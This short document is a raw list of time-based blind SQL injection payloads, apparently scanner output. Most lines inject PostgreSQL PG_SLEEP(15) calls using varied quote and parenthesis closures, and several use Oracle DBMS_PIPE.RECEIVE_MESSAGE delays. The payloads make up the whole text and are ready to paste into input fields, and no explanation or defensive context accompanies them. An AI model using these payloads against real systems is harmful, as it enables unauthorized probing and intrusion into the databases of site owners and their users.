555-1 OR 880=(SELECT 880 FROM PG_SLEEP(15))--

555-1) OR 129=(SELECT 129 FROM PG_SLEEP(15))--

555-1)) OR 278=(SELECT 278 FROM PG_SLEEP(15))--

555VUHPEqoV' OR 18=(SELECT 18 FROM PG_SLEEP(15))--

555IA3FDjoE') OR 802=(SELECT 802 FROM PG_SLEEP(15))--

555tAtsePnM')) OR 561=(SELECT 561 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)

555